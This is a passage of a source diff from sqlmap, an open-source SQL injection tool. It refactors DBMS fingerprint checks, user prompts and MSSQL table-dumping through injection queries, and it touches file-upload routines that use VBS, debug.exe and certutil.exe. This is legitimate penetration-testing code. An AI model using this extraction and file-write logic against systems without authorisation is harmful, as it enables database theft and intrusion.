            url = "https://search.disconnect.me/searchTerms/search?"
            url += "start=nav&option=Web"
            url += "&query=%s" % urlencode(dork, convall=True)
@@ -64,6 +64,8 @@ class SQLAlchemy(GenericConnector):
                            raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__)
                    except ImportError:
                        pass
+                elif "invalid literal for int() with base 10: '0b" in traceback.format_exc():
+                    raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')")
                raise
            except SqlmapFilePathException:
                raise
@@ -18,6 +18,6 @@ try:
        __import__(_)
 except ImportError:
    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
-    errMsg += "most probably because current version of Python has been "
+    errMsg += "most likely because current version of Python has been "
    errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
    exit(errMsg)
@@ -146,7 +146,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES):
            setDbms(DBMS.ACCESS)

            return True
@@ -18,4 +18,3 @@ class Enumeration(GenericEnumeration):
        logger.warn(warnMsg)

        return {}
-
@@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES):
            setDbms(DBMS.DB2)

            return True
@@ -18,7 +18,6 @@ from lib.core.enums import DBMS
 from lib.core.session import setDbms
 from lib.core.settings import FIREBIRD_ALIASES
 from lib.core.settings import METADB_SUFFIX
-from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.request import inject
 from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

@@ -103,9 +102,7 @@ class Fingerprint(GenericFingerprint):
        return retVal

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
-           or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \
-           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
+        if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES):
            setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))

            self.getBanner()
@@ -10,7 +10,6 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
-from lib.core.common import Backend
 from lib.core.common import unArrayizeValue
 from lib.core.enums import DBMS
 from lib.core.settings import HSQLDB_DEFAULT_SCHEMA
@@ -16,7 +16,6 @@ from lib.core.data import logger
 from lib.core.enums import DBMS
 from lib.core.session import setDbms
 from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.request import inject
 from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

@@ -28,13 +27,13 @@ class Fingerprint(GenericFingerprint):
        value = ""
        wsOsFp = Format.getOs("web server", kb.headersFp)

-        if wsOsFp and not hasattr(conf, "api"):
+        if wsOsFp and not conf.api:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

-            if dbmsOsFp and not hasattr(conf, "api"):
+            if dbmsOsFp and not conf.api:
                value += "%s\n" % dbmsOsFp

        value += "back-end DBMS: "
@@ -80,9 +79,7 @@ class Fingerprint(GenericFingerprint):

        """

-        if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \
-           or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \
-           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
+        if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
            setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("1.7.2"):
@@ -56,7 +56,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(INFORMIX_ALIASES) or (conf.dbms or "").lower() in INFORMIX_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES):
            setDbms(DBMS.INFORMIX)

            self.getBanner()
@@ -5,7 +5,6 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-from lib.core.common import Backend
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
@@ -20,8 +19,8 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import CURRENT_DB
+from lib.utils.brute import columnExists
 from lib.utils.pivotdumptable import pivotDumpTable
-from lib.techniques.brute.use import columnExists
 from plugins.generic.enumeration import Enumeration as GenericEnumeration

 class Enumeration(GenericEnumeration):
@@ -66,7 +65,7 @@ class Enumeration(GenericEnumeration):
            conf.db = self.getCurrentDb()

        if conf.db:
-            dbs = conf.db.split(",")
+            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

@@ -117,7 +116,7 @@ class Enumeration(GenericEnumeration):
        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
-            colList = conf.col.split(",")
+            colList = conf.col.split(',')
        else:
            colList = []

@@ -128,7 +127,7 @@ class Enumeration(GenericEnumeration):
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        if conf.tbl:
-            tblList = conf.tbl.split(",")
+            tblList = conf.tbl.split(',')
        else:
            self.getTables()

@@ -173,11 +172,11 @@ class Enumeration(GenericEnumeration):
                return kb.data.cachedColumns

            message = "do you want to use common column existence check? [y/N/q] "
-            test = readInput(message, default="Y" if "Y" in message else "N")
+            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

-            if test[0] in ("n", "N"):
+            if choice == 'N':
                return
-            elif test[0] in ("q", "Q"):
+            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)
@@ -227,12 +226,10 @@ class Enumeration(GenericEnumeration):

        return {}

-    def searchDb(self):
-        warnMsg = "on SAP MaxDB it is not possible to search databases"
+    def search(self):
+        warnMsg = "on SAP MaxDB search option is not available"
        logger.warn(warnMsg)

-        return []
-
    def getHostname(self):
        warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname"
        logger.warn(warnMsg)
@@ -91,7 +91,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES):
            setDbms(DBMS.MAXDB)

            self.getBanner()
@@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission

 from lib.core.agent import agent
 from lib.core.common import arrayizeValue
-from lib.core.common import Backend
 from lib.core.common import getLimitRange
 from lib.core.common import isInferenceAvailable
 from lib.core.common import isNoneValue
@@ -76,7 +75,7 @@ class Enumeration(GenericEnumeration):
            conf.db = self.getCurrentDb()

        if conf.db:
-            dbs = conf.db.split(",")
+            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

@@ -164,7 +163,7 @@ class Enumeration(GenericEnumeration):

    def searchTable(self):
        foundTbls = {}
-        tblList = conf.tbl.split(",")
+        tblList = conf.tbl.split(',')
        rootQuery = queries[DBMS.MSSQL].search_table
        tblCond = rootQuery.inband.condition
        tblConsider, tblCondParam = self.likeOrExact("table")
@@ -173,7 +172,7 @@ class Enumeration(GenericEnumeration):
            conf.db = self.getCurrentDb()

        if conf.db:
-            enumDbs = conf.db.split(",")
+            enumDbs = conf.db.split(',')
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
@@ -270,7 +269,7 @@ class Enumeration(GenericEnumeration):
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
-        colList = conf.col.split(",")
+        colList = conf.col.split(',')

        if conf.excludeCol:
            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
@@ -285,7 +284,7 @@ class Enumeration(GenericEnumeration):
            conf.db = self.getCurrentDb()

        if conf.db:
-            enumDbs = conf.db.split(",")
+            enumDbs = conf.db.split(',')
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
@@ -308,7 +307,7 @@ class Enumeration(GenericEnumeration):
            foundCols[column] = {}

            if conf.tbl:
-                _ = conf.tbl.split(",")
+                _ = conf.tbl.split(',')
                whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))

@@ -316,7 +315,7 @@ class Enumeration(GenericEnumeration):
                conf.db = self.getCurrentDb()

            if conf.db:
-                _ = conf.db.split(",")
+                _ = conf.db.split(',')
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
@@ -382,27 +382,24 @@ class Filesystem(GenericFilesystem):
        if written is False:
            message = "do you want to try to upload the file with "
            message += "the custom Visual Basic script technique? [Y/n] "
-            choice = readInput(message, default="Y")

-            if not choice or choice.lower() == "y":
+            if readInput(message, default='Y', boolean=True):
                self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
                written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

        if written is False:
            message = "do you want to try to upload the file with "
            message += "the built-in debug.exe technique? [Y/n] "
-            choice = readInput(message, default="Y")

-            if not choice or choice.lower() == "y":
+            if readInput(message, default='Y', boolean=True):
                self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
                written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

        if written is False:
            message = "do you want to try to upload the file with "
            message += "the built-in certutil.exe technique? [Y/n] "
-            choice = readInput(message, default="Y")

-            if not choice or choice.lower() == "y":
+            if readInput(message, default='Y', boolean=True):
                self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType)
                written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

@@ -65,9 +65,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
-           or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \
-           Backend.getVersion().isdigit():
+        if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES):
            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()
@@ -84,7 +82,7 @@ class Fingerprint(GenericFingerprint):
        if conf.direct:
            result = True
        else:
-            result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])")
+            result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.MSSQL
@@ -37,8 +37,10 @@ class Connector(GenericConnector):

        try:
            self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
-        except (pymysql.OperationalError, pymysql.InternalError, struct.error), msg:
+        except (pymysql.OperationalError, pymysql.InternalError), msg:
            raise SqlmapConnectionException(msg[1])
+        except struct.error, msg:
+            raise SqlmapConnectionException(msg)

        self.initCursor()
        self.printConnected()
@@ -20,7 +20,6 @@ from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import OS
 from lib.core.session import setDbms
 from lib.core.settings import MYSQL_ALIASES
-from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.request import inject
 from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

@@ -46,12 +45,12 @@ class Fingerprint(GenericFingerprint):
                     (32300, 32359),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40131),    # MySQL 4.1
-                     (50000, 50092),    # MySQL 5.0
+                     (50000, 50096),    # MySQL 5.0
                     (50100, 50172),    # MySQL 5.1
                     (50400, 50404),    # MySQL 5.4
-                     (50500, 50552),    # MySQL 5.5
-                     (50600, 50633),    # MySQL 5.6
-                     (50700, 50715),    # MySQL 5.7
+                     (50500, 50554),    # MySQL 5.5
+                     (50600, 50635),    # MySQL 5.6
+                     (50700, 50717),    # MySQL 5.7
                     (60000, 60014),    # MySQL 6.0
                   )

@@ -95,13 +94,13 @@ class Fingerprint(GenericFingerprint):
        value = ""
        wsOsFp = Format.getOs("web server", kb.headersFp)

-        if wsOsFp and not hasattr(conf, "api"):
+        if wsOsFp and not conf.api:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

-            if dbmsOsFp and not hasattr(conf, "api"):
+            if dbmsOsFp and not conf.api:
                value += "%s\n" % dbmsOsFp

        value += "back-end DBMS: "
@@ -150,9 +149,7 @@ class Fingerprint(GenericFingerprint):
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """

-        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
-           or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
-           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
+        if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES):
            setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("5"):
@@ -5,7 +5,6 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-from lib.core.common import Backend
 from lib.core.common import getLimitRange
 from lib.core.common import isAdminFromPrivileges
 from lib.core.common import isInferenceAvailable
@@ -51,7 +50,7 @@ class Enumeration(GenericEnumeration):
                condition = rootQuery.inband.condition

            if conf.user:
-                users = conf.user.split(",")
+                users = conf.user.split(',')
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

@@ -68,7 +67,7 @@ class Enumeration(GenericEnumeration):
                    user = None
                    roles = set()

-                    for count in xrange(0, len(value)):
+                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]
@@ -87,7 +86,7 @@ class Enumeration(GenericEnumeration):

        if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct:
            if conf.user:
-                users = conf.user.split(",")
+                users = conf.user.split(',')
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
@@ -58,7 +58,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()
@@ -63,7 +63,7 @@ class Fingerprint(GenericFingerprint):
        * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)
        """

-        if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES):
            setDbms(DBMS.PGSQL)

            self.getBanner()
@@ -64,7 +64,7 @@ class Fingerprint(GenericFingerprint):
        * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
        """

-        if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(SQLITE_ALIASES):
            setDbms(DBMS.SQLITE)

            self.getBanner()
@@ -5,7 +5,6 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-from lib.core.common import Backend
 from lib.core.common import filterPairValues
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import randomStr
@@ -25,8 +24,8 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import CURRENT_DB
+from lib.utils.brute import columnExists
 from lib.utils.pivotdumptable import pivotDumpTable
-from lib.techniques.brute.use import columnExists
 from plugins.generic.enumeration import Enumeration as GenericEnumeration

 class Enumeration(GenericEnumeration):
@@ -125,7 +124,7 @@ class Enumeration(GenericEnumeration):
            conf.db = self.getCurrentDb()

        if conf.db:
-            dbs = conf.db.split(",")
+            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

@@ -185,7 +184,7 @@ class Enumeration(GenericEnumeration):
        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
-            colList = conf.col.split(",")
+            colList = conf.col.split(',')
        else:
            colList = []

@@ -196,7 +195,7 @@ class Enumeration(GenericEnumeration):
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        if conf.tbl:
-            tblList = conf.tbl.split(",")
+            tblList = conf.tbl.split(',')
        else:
            self.getTables()

@@ -241,11 +240,11 @@ class Enumeration(GenericEnumeration):
                return kb.data.cachedColumns

            message = "do you want to use common column existence check? [y/N/q] "
-            test = readInput(message, default="Y" if "Y" in message else "N")
+            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

-            if test[0] in ("n", "N"):
+            if choice == 'N':
                return
-            elif test[0] in ("q", "Q"):
+            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)
@@ -58,9 +58,7 @@ class Fingerprint(GenericFingerprint):
        return value

    def checkDbms(self):
-        if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
-           or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \
-           Backend.getVersion().isdigit():
+        if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES):
            setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()
@@ -22,8 +22,8 @@ class Connector:
        self.cursor = None

    def initConnection(self):
-        self.user = conf.dbmsUser
-        self.password = conf.dbmsPass if conf.dbmsPass is not None else ""
+        self.user = conf.dbmsUser or ""
+        self.password = conf.dbmsPass or ""
        self.hostname = conf.hostname
        self.port = conf.port
        self.db = conf.dbmsDb
@@ -51,7 +51,7 @@ class Custom:

                return output
            elif not isStackingAvailable() and not conf.direct:
-                    warnMsg = "execution of custom SQL queries is only "
+                    warnMsg = "execution of non-query SQL statements is only "
                    warnMsg += "available when stacked queries are supported"
                    logger.warn(warnMsg)

@@ -42,9 +42,9 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import CURRENT_DB
 from lib.request import inject
-from lib.techniques.brute.use import columnExists
-from lib.techniques.brute.use import tableExists
 from lib.techniques.union.use import unionUse
+from lib.utils.brute import columnExists
+from lib.utils.brute import tableExists

 class Databases:
    """
@@ -215,7 +215,7 @@ class Databases:
            conf.db = conf.db.upper()

        if conf.db:
-            dbs = conf.db.split(",")
+            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

@@ -243,11 +243,11 @@ class Databases:
                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
-            test = readInput(message, default="Y" if "Y" in message else "N")
+            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

-            if test[0] in ("n", "N"):
+            if choice == 'N':
                return
-            elif test[0] in ("q", "Q"):
+            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)
@@ -269,9 +269,9 @@ class Databases:
                    if conf.excludeSysDbs:
                        infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                        logger.info(infoMsg)
-                        query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
+                        query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
                    else:
-                        query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
+                        query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                if len(dbs) < 2 and ("%s," % condition) in query:
                    query = query.replace("%s," % condition, "", 1)
@@ -422,7 +422,7 @@ class Databases:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

-            tblList = conf.tbl.split(",")
+            tblList = conf.tbl.split(',')
        else:
            self.getTables()

@@ -486,11 +486,11 @@ class Databases:
                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
-            test = readInput(message, default="Y" if "Y" in message else "N")
+            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

-            if test[0] in ("n", "N"):
+            if choice == 'N':
                return
-            elif test[0] in ("q", "Q"):
+            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)
@@ -883,7 +883,7 @@ class Databases:
        self.forceDbmsEnum()

        if conf.tbl:
-            for table in conf.tbl.split(","):
+            for table in conf.tbl.split(','):
                self._tableGetCount(conf.db, table)
        else:
            self.getTables()
@@ -79,7 +79,7 @@ class Entries:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

-            tblList = conf.tbl.split(",")
+            tblList = conf.tbl.split(',')
        else:
            self.getTables()

@@ -170,18 +170,44 @@ class Entries:
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

-                            try:
-                                retVal = pivotDumpTable(table, colList, blind=False)
-                            except KeyboardInterrupt:
-                                retVal = None
-                                kb.dumpKeyboardInterrupt = True
-                                clearConsoleLine()
-                                warnMsg = "Ctrl+C detected in dumping phase"
-                                logger.warn(warnMsg)
+                            if Backend.isDbms(DBMS.MSSQL):
+                                query = rootQuery.blind.count % table
+                                query = agent.whereQuery(query)

-                            if retVal:
-                                entries, _ = retVal
-                                entries = zip(*[entries[colName] for colName in colList])
+                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                                if isNumPosStrValue(count):
+                                    try:
+                                        indexRange = getLimitRange(count, plusOne=True)
+
+                                        for index in indexRange:
+                                            row = []
+                                            for column in colList:
+                                                query = rootQuery.blind.query3 % (column, column, table, index)
+                                                query = agent.whereQuery(query)
+                                                value = inject.getValue(query, blind=False, time=False, dump=True) or ""
+                                                row.append(value)
+
+                                            entries.append(row)
+
+                                    except KeyboardInterrupt:
+                                        kb.dumpKeyboardInterrupt = True
+                                        clearConsoleLine()
+                                        warnMsg = "Ctrl+C detected in dumping phase"
+                                        logger.warn(warnMsg)
+
+                            if not entries and not kb.dumpKeyboardInterrupt:
+                                try:
+                                    retVal = pivotDumpTable(table, colList, blind=False)
+                                except KeyboardInterrupt:
+                                    retVal = None
+                                    kb.dumpKeyboardInterrupt = True
+                                    clearConsoleLine()
+                                    warnMsg = "Ctrl+C detected in dumping phase"
+                                    logger.warn(warnMsg)
+
+                                if retVal:
+                                    entries, _ = retVal
+                                    entries = zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
@@ -191,8 +217,15 @@ class Entries:

                    query = agent.whereQuery(query)

-                    if not entries and query:
-                        entries = inject.getValue(query, blind=False, time=False, dump=True)
+                    if not entries and query and not kb.dumpKeyboardInterrupt:
+                        try:
+                            entries = inject.getValue(query, blind=False, time=False, dump=True)
+                        except KeyboardInterrupt:
+                            entries = None
+                            kb.dumpKeyboardInterrupt = True
+                            clearConsoleLine()
+                            warnMsg = "Ctrl+C detected in dumping phase"
+                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, basestring):
@@ -278,17 +311,44 @@ class Entries:
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

-                        try:
-                            retVal = pivotDumpTable(table, colList, count, blind=True)
-                        except KeyboardInterrupt:
-                            retVal = None
-                            kb.dumpKeyboardInterrupt = True
-                            clearConsoleLine()
-                            warnMsg = "Ctrl+C detected in dumping phase"
-                            logger.warn(warnMsg)
+                        if Backend.isDbms(DBMS.MSSQL):
+                            try:
+                                indexRange = getLimitRange(count, plusOne=True)

-                        if retVal:
-                            entries, lengths = retVal
+                                for index in indexRange:
+                                    for column in colList:
+                                        query = rootQuery.blind.query3 % (column, column, table, index)
+                                        query = agent.whereQuery(query)
+
+                                        value = inject.getValue(query, union=False, error=False, dump=True) or ""
+
+                                        if column not in lengths:
+                                            lengths[column] = 0
+
+                                        if column not in entries:
+                                            entries[column] = BigArray()
+
+                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
+                                        entries[column].append(value)
+
+                            except KeyboardInterrupt:
+                                kb.dumpKeyboardInterrupt = True
+                                clearConsoleLine()
+                                warnMsg = "Ctrl+C detected in dumping phase"
+                                logger.warn(warnMsg)
+
+                        if not entries and not kb.dumpKeyboardInterrupt:
+                            try:
+                                retVal = pivotDumpTable(table, colList, count, blind=True)
+                            except KeyboardInterrupt:
+                                retVal = None
+                                kb.dumpKeyboardInterrupt = True
+                                clearConsoleLine()
+                                warnMsg = "Ctrl+C detected in dumping phase"
+                                logger.warn(warnMsg)
+
+                            if retVal:
+                                entries, lengths = retVal

                    else:
                        emptyColumns = []
@@ -415,9 +475,8 @@ class Entries:

    def dumpFoundColumn(self, dbs, foundCols, colConsider):
        message = "do you want to dump entries? [Y/n] "
-        output = readInput(message, default="Y")

-        if output and output[0] not in ("y", "Y"):
+        if not readInput(message, default='Y', boolean=True):
            return

        dumpFromDbs = []
@@ -428,14 +487,14 @@ class Entries:
                message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)

        message += "[q]uit"
-        test = readInput(message, default="a")
+        choice = readInput(message, default='a')

-        if not test or test in ("a", "A"):
+        if not choice or choice in ('a', 'A'):
            dumpFromDbs = dbs.keys()
-        elif test in ("q", "Q"):
+        elif choice in ('q', 'Q'):
            return
        else:
-            dumpFromDbs = test.replace(" ", "").split(",")
+            dumpFromDbs = choice.replace(" ", "").split(',')

        for db, tblData in dbs.items():
            if db not in dumpFromDbs or not tblData:
@@ -451,16 +510,16 @@ class Entries:

            message += "[s]kip\n"
            message += "[q]uit"
-            test = readInput(message, default="a")
+            choice = readInput(message, default='a')

-            if not test or test in ("a", "A"):
+            if not choice or choice in ('a', 'A'):
                dumpFromTbls = tblData
-            elif test in ("s", "S"):
+            elif choice in ('s', 'S'):
                continue
-            elif test in ("q", "Q"):
+            elif choice in ('q', 'Q'):
                return
            else:
-                dumpFromTbls = test.replace(" ", "").split(",")
+                dumpFromTbls = choice.replace(" ", "").split(',')

            for table, columns in tblData.items():
                if table not in dumpFromTbls:
@@ -472,7 +531,7 @@ class Entries:
                if conf.excludeCol:
                    colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

-                conf.col = ",".join(colList)
+                conf.col = ','.join(colList)
                kb.data.cachedColumns = {}
                kb.data.dumpedTable = {}

@@ -483,9 +542,8 @@ class Entries:

    def dumpFoundTables(self, tables):
        message = "do you want to dump tables' entries? [Y/n] "
-        output = readInput(message, default="Y")

-        if output and output[0].lower() != "y":
+        if not readInput(message, default='Y', boolean=True):
            return

        dumpFromDbs = []
@@ -496,14 +554,14 @@ class Entries:
                message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)

        message += "[q]uit"
-        test = readInput(message, default="a")
+        choice = readInput(message, default='a')

-        if not test or test.lower() == "a":
+        if not choice or choice.lower() == 'a':
            dumpFromDbs = tables.keys()
-        elif test.lower() == "q":
+        elif choice.lower() == 'q':
            return
        else:
-            dumpFromDbs = test.replace(" ", "").split(",")
+            dumpFromDbs = choice.replace(" ", "").split(',')

        for db, tablesList in tables.items():
            if db not in dumpFromDbs or not tablesList:
@@ -519,16 +577,16 @@ class Entries:

            message += "[s]kip\n"
            message += "[q]uit"
-            test = readInput(message, default="a")
+            choice = readInput(message, default='a')

-            if not test or test.lower() == "a":
+            if not choice or choice.lower() == 'a':
                dumpFromTbls = tablesList
-            elif test.lower() == "s":
+            elif choice.lower() == 's':
                continue
-            elif test.lower() == "q":
+            elif choice.lower() == 'q':
                return
            else:
-                dumpFromTbls = test.replace(" ", "").split(",")
+                dumpFromTbls = choice.replace(" ", "").split(',')

            for table in dumpFromTbls:
                conf.tbl = table
@@ -156,15 +156,15 @@ class Filesystem:
        return retVal

